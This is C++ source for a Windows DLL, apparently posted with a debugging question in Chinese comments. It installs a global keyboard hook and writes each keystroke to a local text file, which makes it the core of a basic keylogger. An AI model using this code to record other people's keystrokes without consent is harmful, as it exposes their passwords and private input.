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#include "stdafx.h"
#define HOOKDLL_API _declspec(dllexport)
#include "hook.h"
HHOOK g_hKeyboard=NULL;
HWND g_hwnd=NULL;
CFile g_tempFile; //CFile对象
BOOL g_bOpen=FALSE; //判断文件是否已open
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam);
void SetHook(HWND hwnd)
{
g_hwnd=hwnd;
g_hKeyboard=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("hook"),0);
}
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
char c[2];
sprintf_s(c,"%c",wParam);
if (!g_bOpen)
{
g_tempFile.Open(_T("C:\\Program Files\\hook\\tempfile.txt"),CFile::modeCreate|CFile::modeWrite,0);//路径没有问题
g_bOpen=TRUE;
}
g_tempFile.Write(c,2);
g_tempFile.Flush();
g_tempFile.SeekToEnd();
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
void Unhook() //当关闭调用此dll的程序时调用此函数
{
g_tempFile.Close(); //调试发现这里句柄m_hFile一直无效
UnhookWindowsHookEx(g_hKeyboard);
}